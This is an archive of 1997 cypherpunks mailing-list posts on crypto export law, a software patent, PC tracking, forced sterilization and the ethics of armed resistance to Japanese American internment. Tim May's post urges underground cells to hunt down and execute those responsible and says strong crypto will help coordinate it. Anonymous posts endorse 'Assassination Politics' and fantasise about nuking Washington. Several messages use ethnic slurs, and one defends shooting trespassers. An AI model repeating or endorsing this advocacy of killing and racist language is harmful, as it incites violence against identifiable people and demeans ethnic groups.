raving lunatic who believes in reptilian Nazi's from outer space
living in underground bunkers beneath my home town, but the problem
is that the rest of the information I am getting on the 'lunatic'
sites is proving much more reliable than the information I received
in my years of education within the public school system.
  The problem with lunatic sites is that too many of them are not
afraid to supply facts and references from established, reliable
sources, including government documents, while the corresponding
government-backed versions of events involve "magic bullet"'s and
John Does who appear and disappear like the Cheshire cat, at the
government's convenience.
  The problem with mainstream news sites is when a story surfaces
which lends credence to the wild-eyed claims of the 'lunatic' news
sites, the story suddenly disappears, to be replaced with a story
of a fireman saving a cute kitten from a tree.

  The problem with reading both the mainstream ~and~ the lunatic
news sites is that a very disturbing picture develops.
  Portions of the 'free world' imprison more people than dictatorships,
but for the "right" reasons, instead of the "wrong" reasons.
  Human-rights-defending liberals have sterilized many, many times
the number of people that genetic-purification-monster Nazi's ever
dreamed of, but for the "right" reasons, instead of the "wrong"
reasons.
  Every evil that has ever been done under the sun (or the moon, for
that matter) is still being done, but under the "right" name, using
the "right" terminology, and for the "right" reasons. (The chief
justification always seems to lie in a variation of 'renaming' the
4 Horsemen of the Apocalypse.)

  "Assassination Politics" is beginning to sound more and more like
a valid electoral system. One dollar, one vote.
  Perhaps Jim Bell and Tim May can corroborate on a sequel, "Nuclear
Assassination Politics."

LonesomeOneryAndMeanMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 29 Aug 1997 06:45:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <19970828223409.9301.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



stonedog:
>You
>pick up the shotgun you keep in the closet by the front door and say, 
"If
>I have commited a crime, then arrest me. Otherwise, get off of my
>property." The LEA's reply, "You just made a big mistake, bud." Twenty
>minutes later they return with a fifty agents with automatic rifles and
>orders to shoot to kill the "spy".
>
>Of course, if he just "went along quietly", he would have spent a few
>years rotting in an "internment camp" while his business failed or he 
lost
>his job to someone fortunate enough to have immigrated from Italy or
>Germany instead of Japan. That's better than endangering the lives or
>yourself and your family, right?

Good description of the problem.  Nicely drawn.

>You might feel that the example that you responded to was a bit too
>simplistically polemic, but I think for many people, especially those 
in
>this forum, your hypothetical situation is not at all an ethical 
dilemma. 

The real ethical dilemma was with the principle that you are
ethically justified in shooting if you think your life is threatened.
I chose this example as one in which both sides feel that way.
There are many other cases I could have chosen.  Between the two
examples given earlier, the armed prowler and the rude jerk in the
next car, there are a whole range of difficult cases.

In the case at hand, you seem to be saying that it is unwise for the
Japanese man to shoot, especially if he has family.  But is it
wrong?  Suppose he has no family, and he chooses to shoot, then gets
killed himself for his troubles.  Can you say who is at fault?  There
is something wrong with an ethical system which says both sides were
justified in shooting.  Yet both sides feared for their lives, and
that was what was suggested as a justification.

Keep in mind too that we should try not to rely too much on
hindsight.  Camps like Manzanar were relatively benign.  But
instead of a Japanese American, consider a Jew in Poland.  He's in
the same situation.  Hindsight tells us that maybe he'd do better
to drive off the cops and then try to escape before they come back.
Few Jews anticipated that the internment they were sent to was going
to be any worse than how it turned out for the Japanese Americans.
So if you want to say that the Japanese was not justified in shooting
because the camps were likely to be safe, the same would apply to
the Jew.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 29 Aug 1997 04:18:04 +0800
To: cypherpunks@toad.com
Subject: Novadigm patents diff(1) and rdist(1).
Message-ID: <v03110719b02b837779bb@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Resent-Date: Thu, 28 Aug 1997 09:06:38 -0400
X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO
protocol
To: 0xdeadbeef@substance.abuse.blackdown.org
Subject: Novadigm patents diff(1) and rdist(1).
Date: Thu, 28 Aug 1997 09:02:11 -0400
From: glen mccready <glen@qnx.com>
Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org> archive/latest/2159
X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
Precedence: list
Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org


Forwarded-by: Nev Dull <nev@bostic.com>
Forwarded-by: Sean Eric Fagan <sef@Kithrup.COM>

Novadigm sues Marimba and threatens W3C.

http://www.novadigm.com/aB5.htm

About The Patent
	Novadigm's Patent (Number 5,581,764) "Distributed Computer Network
	Including Hierarchical Resource Information Structure and Related
	Method of Distributing Resources" describes the processes needed
	to generate from a common reference model a unique content
	configuration for each target end user, and to "difference" the
	"desired state" configuration with the actual-state of the target,
	yielding highly granular and very specific updates to distributed
	content automatically. The patent covers two central areas:

	Desired state configuration-processes which incorporate essential
	elements of both "push" and "pull" distribution models. By
	generating from common reference model a unique user configuration
	which describes the specific software or content a target user
	should have, producers can automatically 'push' content to
	specific servers, desktops, or users; or groups of users. In
	addition, the 'pull' process provides a means for users to control
	when the flow of information takes place, what information is
	delivered, and where it is stored.  Fractional
	Differencing-processes for comparing and contrasting the desired
	state configuration identifying what components a target should
	have with the resources it actually has, resulting in a concise
	and highly detailed difference configuration describing what
	components are needed-or should by removed-to ensure the targeted
	user is properly configured with a minimum of network traffic.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks <cypherpunks@toad.com>
Date: Fri, 29 Aug 1997 05:54:56 +0800
To: XwitTDis96@aol.com
Subject: Re: Hey
In-Reply-To: <970828173545_452071087@emout07.mail.aol.com>
Message-ID: <3405F0ED.5D84@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



XwitTDis96@aol.com wrote:
> 
> SUBCRIBE-ME

NO-WAY





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stonedog@ns1.net-gate.com
Date: Fri, 29 Aug 1997 03:56:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <199708281809.LAA22962@f37.hotmail.com>
Message-ID: <Pine.BSI.3.93.970828151321.13124A-100000@ns1.net-gate.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 28 Aug 1997, John Smith wrote:

> A Japanese man holes up in his house and shoots at those who try to
> take him away.  A Caucasian man outside shoots back, fearing that the
> Japanese is a spy, whose information will lead to Japanese victory in
> the war.  Both men are shooting, both fear for their lives.  And in
> each case, the fear could arguably be justified, based on the
> information available to each man at the time.
> 
> How does your simple rule solve this case?
> 
> "John

Let me get this straight: a couple of federal (were they in this
case?) LEA's come to your door and say, "Come with us, you and your family
are going to prison because of the color of your skin." You say, "I am a
citizen of of the United States, and my rights are enumerated in the
Constitution. You do not have the authority to incarcerate me without due
process of law. Now please get off my property." The LEA's reply, "Hey,
we're just doing our jobs. Don't give us a hard time, you stupid Nip." You
pick up the shotgun you keep in the closet by the front door and say, "If
I have commited a crime, then arrest me. Otherwise, get off of my
property." The LEA's reply, "You just made a big mistake, bud." Twenty
minutes later they return with a fifty agents with automatic rifles and
orders to shoot to kill the "spy".

Of course, if he just "went along quietly", he would have spent a few
years rotting in an "internment camp" while his business failed or he lost
his job to someone fortunate enough to have immigrated from Italy or
Germany instead of Japan. That's better than endangering the lives or
yourself and your family, right?

You might feel that the example that you responded to was a bit too
simplistically polemic, but I think for many people, especially those in
this forum, your hypothetical situation is not at all an ethical dilemma. 


-stonedog 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 29 Aug 1997 05:20:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New service allows customers to track stolen PCs (fwd)
Message-ID: <199708282114.RAA01024@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:51 PM 8/28/97 +0000, Vipul Ved Prakash wrote:
>
>*** New service allows customers to track stolen PCs
>
>Absolute Software announced Wednesday the CompuTrace Online Monitoring
>Service, a new service that provides CompuTrace customers with various
>PC monitoring reports via a private, secured Internet website.
>Customers will now have access to the whereabouts of their PCs via the
>Online Monitoring Service from any location at any time. CompuTrace's
>technology silently calls in to the CompuTrace Monitoring Center on a
>regular basis. The activity is reported to customers on a regular
>basis, or via the new CompuTrace Online Monitoring Service. ...

In a few years, when nearly every home computer is a laptop or other
portable.  The government will require that a similar service be installed
in every machine, (to cut down on theft).
A few years later, the government will demand open access to this database
(to track terrorists).
Even later, as nearly everyone will have a computer by this time, the
government will have an effective method of controlling the movement of the
population.
Why don't we just slap one of those radio transponders around our ankles
that some of the more stylish parollees already wear.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 29 Aug 1997 05:29:23 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Monkey Wrench into the works
Message-ID: <199708282114.RAA01023@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:54 AM 8/28/97 -0400, David Jablon wrote:
>
>James,
>
>You're rebuttal to Myron's message is simplistically
>elegant, but just as wrong as the original posting.
...
>On 8/27/97, James A. Donald replied paraphrasing Ben Franklin,
>(who really knew very little about cryptography):
>>What one man knows, nobody knows.
>>What two men know, everyone knows.
>>Shared secrets just don't work.

Perhaps a more accurate, though less clean statement would be.
What YOU ALONE knows, nobody knows.
What YOU and ONE other person, EVERYONE MIGHT know.
Each additional person who is in on the secret opens up the possibility of
leaks.

Although I deleted it for space, you mentioned Doctors.  A lot of people are
afraid to tell thier doctors everything that the doctors need to know to do
thier jobs because the patients are afraid that, as illegal as it may be,
the patients medical history may end up in the hands of insurers, employers,
prospective employers, and numerous other people who may want it but
shouldn't have it.

My dad was at a seminar where a new Scholastic Aptitude test was being
introduced.  He or someone asked if this information was going to be used to
rate the schools.  He was assured that no, it wasn't for that.  A few years
later, Oklahoma schools were being rated on the average score on that test,
after eliminating those in chapter 1 programs.  My dad's beef was that the
smaller schools couldn't afford to maintain some of those programs and would
thus, on average, score lower than they should.  The example of a secret
getting out, however, is clear.  The "secret" was given to the wrong
sub-department, and not by the schools.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 28 Aug 1997 23:32:29 +0800
To: cypherpunks@toad.com
Subject: U.S. Refugees Flee to Germany
Message-ID: <199708281520.RAA25882@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



~From:
http://www.guidemag.com/newsslant/vigilante-censors.html

~"Whether it's CPAC wanting to nuke all web sites containing the word 
'boy,' Senator Swinestein wanting to nuke all web sites containing the 
word 'bomb,' or Senator Hatch wanting to nuke all web sites containing 
the word 'sex,'" writes Mike Duvos in a Cypherpunks newsgroup, "the 
optimal strategy for service providers has turned out to be to quietly 
remove any material some squeaky wheel is uncomfortable with, keep 
proclaiming themselves to be the strongest supporters of free speech in 
the entire Net community, and stonewall when asked questions which might 
suggest anything to the contrary." 

  Sounds like one of them-thar, cynical, irreverent, shit-disturbing
CypherPunks, to me.

~Now, the pages are back online on a small server in Germany. Organizers 
of the site are raising funds to purchase their own direct connection to 
the Net. However they don't want their computer to be in the US-- but 
not because they plan to violate any US laws. "We are very nervous
about being here," says Jim Finn, who helps run the Free Spirits, "if 
the government is going to use underhanded tactics to intimidate our 
providers and possibly confiscate our equipment." In the course of 
investigations, police frequently seize computers that they never 
return, even when they file no charges. 

  Perhaps Germany should start building refugee camps for American
homosexuals, Jews, and producers of strong encryption.

~If the Internet had sprung up in the 50s, Senator Jesse Helms would be 
riling his white constituents about the scandalous web sites promoting 
interracial marriage and civil rights. The right way to answer to Helms 
and his ilk is not with pacifying assurances that, thanks to filtering, 
people can avoid these offensive ideas, but to confront the underlying 
racism. Now that queer sex is the bugaboo, the answer shouldn't be any 
different. 

  CypherPunk Cult of One Project:?:
  Put up a website containing quotes from Jesse Helms and other high-
profile politicians, public figures, etc., and then actively promote
it being censored and removed from the InterNet.
  (Pictures of a topless Princess Di, etc. Naked children from a "Life"
   magazine photo from the '60's, etc.)
  Has anyone ever sued themselves to have their own site censored and
dismembered?
  "Greg Broiles vs. Greg Broiles" (Kind of has a 'ring' to it.)

~That censorship is bad and dangerous no matter who its victims is a 
concept best grasped today by Cypherpunks steeped in computers and the 
Net. 

  And who came out of internment in the legendary "Flame Camps"
of the late 1990's, vowing, "Never Forgive. No Prisoners."

~Whether it's the painting "Mona Lisa" or the sex video Lisa 
Moaning, 

  WHY DON'T THESE PEOPLE PROVIDE *POINTERS*!!!
  (No, *not* to the "Mona Lisa," you idiot!)

~If hysteria over 
drugs or hate speech or pornography becomes intense enough, then no 
one's data-- which is to say no one's privacy-- is safe. Much better 
than civil libertarians and gay politicos, Internet activists have seen 
the danger in the new wave of repressive laws. Whether they can 
articulate that danger to a broader public remains to be seen. If not, 
the 1990s may be recalled as a short-lived golden age of free expression 
on the Net, and free spirits won't have any place to call home. ** 

  "Give me bandwidth, or give me death."
   
  "Give me your huddled electrons, struggling to be free."

  "Now is the time for all good hackers to come to the aide of
no-country.

  "One if by land. Two if by sea. NULL if by Net."
  ("The Americans are coming! The Americans are coming!)

  "I may not agree with what you censor, but I will defend to the death
  my right to tell you to 'Fuck off and die.'"

  "Ask not what you can do for your country. Ask where the Federal 
  building is."

  "A small step for a nuclear bomb. A big step for D.C."
  ("It's raining donkeys and elephants out there. Better take
   your lead umbrella.")

  "In Diffie-Hellman We Trust."

  "Nuke the candidate of your choice--but Nuke!"

  "The final finding of the TruthMonger Commission is that Tim May acted
  alone. The Magic Nuclear Missle hit D.C., deflected toward Moscow,
  turned around in mid-air and took out London, before coming to rest
  at Rome.
  "There is no evidence to suggest that Jim Bell was ever a member of
  the CypherPunks list, or ever had contact of any nature with Tim May.
  Toad.com was never connected to the CypherPunks list--it served mostly
  as a mail-drop for decent, upstanding drug dealers, pedophiles, tax
  evaders and terrorists.
  "Duncan Frissel's first act of power, the pardoning of Tim May, was 
  done in order to allow the nation to put this behind us and to heal 
  our nuclear wounds."

  CONSTITUTION OF THE UNITED ISP'S OF TERRA
  -----------------------------------------
  "Congress shall make no laws."

  Signature:   Anonymous        Witness: Nobody
               ---------                 ------
  Send complaints of abuse of this Constitution to: Lock&Load@nuke.dc


~~~~~~~~~~~~~
FreedomMonger
~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 29 Aug 1997 08:32:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Sweden's Social Democrats Sterilize the Inferior
In-Reply-To: <Pine.GSO.3.95.970826175338.3323A-100000@well.com>
Message-ID: <v03010d16b02bc2ffecfe@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



Dagens Nyheter just put the entire article series on their home page
<http://www.dn.se/> and I'll read through it tonight (and probably
through the weekend -- it's about the length of an old-time New Yorker
reportage).

The information in the article has apparently been available in
English for some time now in, for example,

"Sterilization Policy in Denmark, Sweden, Norway, and Finland,"
edited by Gunnar Broberg and Nils Roll-Hansen. Michigan State
University Press, 1996.

According to a bit of an interview in another DN article,
Professor Broberg has been researching and writing about
forced sterilization for "several decades," but it took
an article in a popular newspaper (DN is the largest quality
newspaper in Sweden, and has roughly the role of the New
York Times and/or Washington Post) to bring this to the
attention of the government and international media.

A Swedish journalist, Bosse Lindqvist, prepared and broadcast
a radio program on this six or seven years ago that was met by
"massive disinterest."

Many of the "national purity" ideas behind forced sterilization
can be found in the writings of Gunnar and Alva Myrdal, who are
central to the development of the modern Swedish state.

Martin Minow.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: XwitTDis96@aol.com
Date: Fri, 29 Aug 1997 05:54:56 +0800
To: cypherpunks@toad.com
Subject: Hey
Message-ID: <970828173545_452071087@emout07.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



SUBCRIBE-ME





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 29 Aug 1997 06:30:01 +0800
To: cypherpunks@toad.com
Subject: Fade to Black... / Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <b6e01ac88ebfca2b58fc3b3829382d05@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



John Smith wrote:
> A Japanese man holes up in his house and shoots at those who try to
> take him away.  A Caucasian man outside shoots back, fearing that the
> Japanese is a spy, whose information will lead to Japanese victory in
> the war.  Both men are shooting, both fear for their lives.  And in
> each case, the fear could arguably be justified, based on the
> information available to each man at the time.

A black man holes up in his car, shooting at a white cop wearing the
same uniform as the guy who shoved a toilet plunger up his ass the 
day before.
The cop shoots back, fearing that the black man is a drug dealer who
will molest his children, plant a bomb on an airplane, and evade
taxes.
Both men are shooting, both fear for their lives, and both hate
what the other man represents in their mind and life experience
and would like to see him dead.

The Jap picks them both off, from a rooftop, and lives happily
ever after.

ILoveAHappyEndingMongel






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 29 Aug 1997 09:23:46 +0800
To: John Smith <jsmith58@hotmail.com>
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <19970826193101.4989.qmail@hotmail.com>
Message-ID: <Pine.LNX.3.95.970828181039.285C-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 26 Aug 1997, John Smith wrote:
> "William H. Geiger III" <whgiii@amaranth.com>:
> >>You stole from me.
> >>*BANG*
> >>You raped my sister
> >>*BANG*
> >or threaten me or my family you have committed suicide.
> >It is a quite simple and effective philosophy: 
> >"You fuck with me, my family, or my property you die. You leave me alone
> >and I leave you alone."
> >Even someone like you can understand such a philosophy.
> Well, I can't.  It's very confusing.  Are there judges in your
> philosophy, or do you just decide for yourself who to shoot?
> "You walked on my property."  BANG.

	Works for me. You post no trespassing, I have no excuse. 

> "Your music kept me awake all night."  BANG.

	Well, turn the shit down. 

> "I warned you to cut that tree down, and now it fell on my house."
> BANG.

	If the warning was issued, then *BANG*. 


> Or how about escalation:
> You know, there's a reason people started using judges to help
> settle disputes.  There's a reason the common law evolved with the
> idea of proportionate response and restitution.  This kind of

	Yeah, the reason was that the Nobles looked at their peasants 
as property, and didn't want their property killing each other.  

> shoot-everybody-I-think-harmed-me approach just doesn't work.

	There is also a clear difference between shooting a guy carrying 
your stereo out of the house, and a guy who probably carried a stereo out 
of the house. 

> The current system stinks, but your idea is no better.

	Well, the current system stinks, but enough people are buffalo'd into
thinking that it works, so it is doubtful that it will get better. If on the 
otherhand the system ceased to exist, maybe it could be improved. 


Petro, Christopher C.
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 29 Aug 1997 09:27:17 +0800
To: cypherpunks@cyberpass.net
Subject: America's Concentration Camps
In-Reply-To: <199708281809.LAA22962@f37.hotmail.com>
Message-ID: <v03102808b02bd119cf5d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:45 PM -0700 8/28/97, stonedog@ns1.net-gate.com wrote:

>Let me get this straight: a couple of federal (were they in this
>case?) LEA's come to your door and say, "Come with us, you and your family
>are going to prison because of the color of your skin." You say, "I am a
>citizen of of the United States, and my rights are enumerated in the
>Constitution. You do not have the authority to incarcerate me without due
>process of law. Now please get off my property." The LEA's reply, "Hey,
>we're just doing our jobs. Don't give us a hard time, you stupid Nip." You
>pick up the shotgun you keep in the closet by the front door and say, "If
>I have commited a crime, then arrest me. Otherwise, get off of my
>property." The LEA's reply, "You just made a big mistake, bud." Twenty
>minutes later they return with a fifty agents with automatic rifles and
>orders to shoot to kill the "spy".
>
>Of course, if he just "went along quietly", he would have spent a few
>years rotting in an "internment camp" while his business failed or he lost
>his job to someone fortunate enough to have immigrated from Italy or
>Germany instead of Japan. That's better than endangering the lives or
>yourself and your family, right?
>
>You might feel that the example that you responded to was a bit too
>simplistically polemic, but I think for many people, especially those in
>this forum, your hypothetical situation is not at all an ethical dilemma.

Whatever you do, don't interpret what some are saying on this issue at "the
view of Cypherpunks.

In my view, the arrest, detention, and internment in concentration camps of
persons of putative or confirmed Japanese ancestry was a slam dunk
violation of their constutional rights (specifically, I presume, of their
4th and 14th ("equal protection") rights.

That a "foreign entanglement," which Washington warned of, was happening
between mostly Caucasian soldiers and mostly-Mongoloid soldiers over trade
routes and colonies was no constitutional justification for these arrests
and detetentions.

And once released from these concentration camps, redress in the courts was
not possible. (Token redress was made decades later.)

The Japanese should have formed underground cells to track down and execute
those who stole their property and their freedoms. We think killing SS
arrest battallions is what the Jews should have done, so why not the same
for the battallions assigned to ship these persons to America's
concentration camps? It's still not too late. Strong crypto will make this
very possible to coordinate and carry out.

The Jews are always clamoring for Nazi criminals to be tracked down,
kidnapped, and tried, a la Eichmann, so why not the co-conspirators in this
case?

Of course, like the Jews, few Japanese were armed at the time. And even
fewer after the war (hint: any rifles or handguns they owned at the start
were _not_ returned to them in 1945.)

Other ethnic groups are less easily placed into concentration camps. Let
the fascists try putting Koreans into concentration camps, and some of
those AR-15s they used so well on the rampaging blacks and Hispanics will
kill some cops and soldiers.

Like the Jews in Europe, the Japs were just too fucking timid and
well-mannered.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 29 Aug 1997 09:32:32 +0800
To: Alex Le Heux <alexlh@xs4all.nl>
Subject: Re: Welfare Solution #389
In-Reply-To: <3.0.3.32.19970826220410.007e1cd0@mail.xs4all.nl>
Message-ID: <Pine.LNX.3.95.970828181806.285D-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 26 Aug 1997, Alex Le Heux wrote:
> I suppose you believe that a drug addict has no one to blame but 
> himself, and that he should take _all_ of the blame. I don't. They 
> certainly deserve some credit for the mess they're in, but not 
> entirely. Bad luck has a lot to do with it as well. Just like getting 
> blown off a cliff by the wind. You shouldn't have been there, you 
> should have been strong enough not be blown off, etc....

	No one chooses to have the wind blow. If a junkie can 
demonstrate how he became hooked by force, or by accident (i.e. "someone
slipped something in my drink over and over"/medical usage leading to 
addiction), then I will not blame them as much. I know what it is like to 
kick an addiction, and I can just imagine how much worse Herion, Coke, and 
Speed are, but hey, it's your life, you own it, do what you have to. 

> Also, it being the druggie's fault or not, treating him as an outcast 
> is not going to solve the problem. It'll only make it worse. For him, 
> and for the rest of us.

	It may not solve _his/her_ problem, but it may also make a couple 
of younger kids think twice before shooting up. 

> What works much better is treating his addiction more like a disease. 

	Assuming that they _want_ to get treated. 

> and a dime. Also the mortality rate under the junkies is very low, 
> although I suspect you don't see that as a good thing.

	If they hold down a job, pay their own way, I could care less, and 
don't mind a bit. 

	I don't want to support them.

> The 'drug problem' as it exists in most places in this world is the 
> result of the mindboggeling numbers of people living in tiny spaces. 

	Crap. There are kids in small towns all across the USA doing Coke, 
Speed, Pot, and LSD. They aren't "escaping a painful reality", they are 
just fucking bored and looking for a little fun. 

Petro, Christopher C.
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 29 Aug 1997 06:40:51 +0800
To: cypherpunks@toad.com
Subject: Fade to Black... The Sequel
Message-ID: <2f389484fee312f6ab4cae6f257d4c46@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



ILoveAHappyEndindMonger wrote:
> John Smith wrote:
> > A Japanese man holes up in his house and shoots at those who try to
> > take him away.  A Caucasian man outside shoots back, fearing that the
> > Japanese is a spy, whose information will lead to Japanese victory in
> > the war.  Both men are shooting, both fear for their lives.  And in
> > each case, the fear could arguably be justified, based on the
> > information available to each man at the time.
 
> A black man holes up in his car, shooting at a white cop wearing the
> same uniform as the guy who shoved a toilet plunger up his ass the
> day before.
> The cop shoots back, fearing that the black man is a drug dealer who
> will molest his children, plant a bomb on an airplane, and evade
> taxes.
> Both men are shooting, both fear for their lives, and both hate
> what the other man represents in their mind and life experience
> and would like to see him dead.
> 
> The Jap picks them both off, from a rooftop, and lives happily
> ever after.

A black cop with a toilet plunger up his ass shoots himself.

ILoveAHappyEndingTooMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alexis <demara@geocities.com>
Date: Fri, 29 Aug 1997 09:28:16 +0800
To: cypherpunks@toad.com
Subject: hello
Message-ID: <3405C4E5.59A9@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



hello,

Can anybody teach me the abc's on Hacking, Cracking, Phranking, 
Cryptomography, I know that to be a good hacker you have to know all, 
but speciallize on one.  Or do any of you are in the LA area that 
willing to teach me face to face.  Thank you
Alexis.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 29 Aug 1997 07:38:11 +0800
To: cypherpunks@toad.com
Subject: Fade to Gray... (Politically Correct)
Message-ID: <08b2b4a26e0ddfa16021bf064721ba4c@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



A Caucasian cop pulls over an African-American in front of the house of
a person of Japanese ancestry.
The African-American and the person of Japanese ancestry, fearing for
their lives, begin shooting at the Caucasian cop. The cop shoots back,
killing both of them.

The city erupts in riots. The cop is charged with murder by a Hispanic
prosecutor and goes before a female judge and a mixed-race jury. The
jury finds the cop "Not guilty." so that they can get the channel remote
in the second riot, for the TV they got in the first riot.
  It turns out that the cop was once spanked, as a child, and he sues
the dead mens' insurance companies because the trial brought back his
repressed memories of the event.

Far above the city, a nuclear bomb falls from the bottom of a small
airplane. Strangely, all of the members of the CypherPunks list were
out of town that day.
Kent Crispin hears the voice come over the radio of his private plane,
warning him that he must land his plane immediately, or be shot down.
He looks out at the wing and notices, for the first time, that someone
has removed the identifying numbers from his plane.
Crispin looks at the printouts of CypherPunks posts sitting on the seat
beside him, and realizes that he is wearing a T-shirt with 4 lines of
Perl code for unexportable encryption.

Jim Bell looks up at the Men in Black who are interrogating him. A huge,
shit-eating grin begins to spread across his face.
"Kent Crispin?" he replies to their question. "Yeah. He's my best
friend. Why do you ask?"

<fade to grey>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 29 Aug 1997 10:50:11 +0800
To: cypherpunks@toad.com
Subject: Re: gephardt slams crypto regs
Message-ID: <v03007844b02be7448b8e@[207.94.249.75]>
MIME-Version: 1.0
Content-Type: text/plain



>At 06:16 PM 8/24/97 -0700, Vladimir Z. Nuri wrote:
>>Encryption is vital to the Net
>> BY RICHARD A. GEPHARDT
>
>Thanks for posting this!  My hat's off to Senator Gephardt for
>coming out in favor of economic and personal freedom!
>
>(Of course, it's not like I'd set my hat _down_ where he could
>steal it or check its national origin label :-)  Dick's still a
>statist protectionist, but even if he's doing the right thing
>just to annoy the right-wing statists like Clinton, it's a good start!)

I also thank Vladimir for posting the article.  I was going to post a
summary, but I found myself buried under a kilomessage or so of back email
after my trip to Switzerland.

I think this article is principally interesting because Senator Gephardt is
the Democratic leader in the House.  It seems to indicate considerable
disarray in the administration on what our crypto policy should be.

As the ever optimist, this article, along with Dorothy Denning's new stand,
and the Burnstein decision indicates that the forces of crypto repression
are in retreat.  GO TEAM!


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 29 Aug 1997 14:51:45 +0800
To: cypherpunks@toad.com
Subject: Re: H/W v S/W encryption Constitutional challenge --The Next Generation
In-Reply-To: <1.5.4.32.19970826140833.00860dd0@pop.pipeline.com>
Message-ID: <3.0.2.32.19970828200538.02f513ec@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:50 PM 8/26/97 +0000, Attila T. Hun wrote:
>    IM[NSH]O, we need a test case that _differentiates_ between 
>    hardware encryption engines and _software_for_encryption (not to be 
>    confused with firmware).  Patel rendered an important decision, but
>    she refrained from establishing national jurisdiction; our only hope
>    in this instance is further citations as to relevance.

I disagree.  We'd lose, and setting bad precedent is worse than none
or weak precedents.  The important conclusion Judge Patel drew was that
source code is clearly speech (yay!  and blatantly obvious, as well :-)
The next obvious directions to go, after we win the appeal,
are to solidify the judgement with more source code 
(and deal with the fact that they'll keep changing the regulations), 
especially if we can do a source code in an interpreted language like perl,
and then maybe go after binary code as speech.

We'll also need to do something about the Karn case,
since the difference between source code on paper and 
source code on a floppy is obviously not a legitimate one.

If you do hardware, they'll say "Hardware isn't speech, it's stuff,
and exporting stuff is commerce, and we can regulate commerce and exports",
and they'll be right constitutionally if not morally.
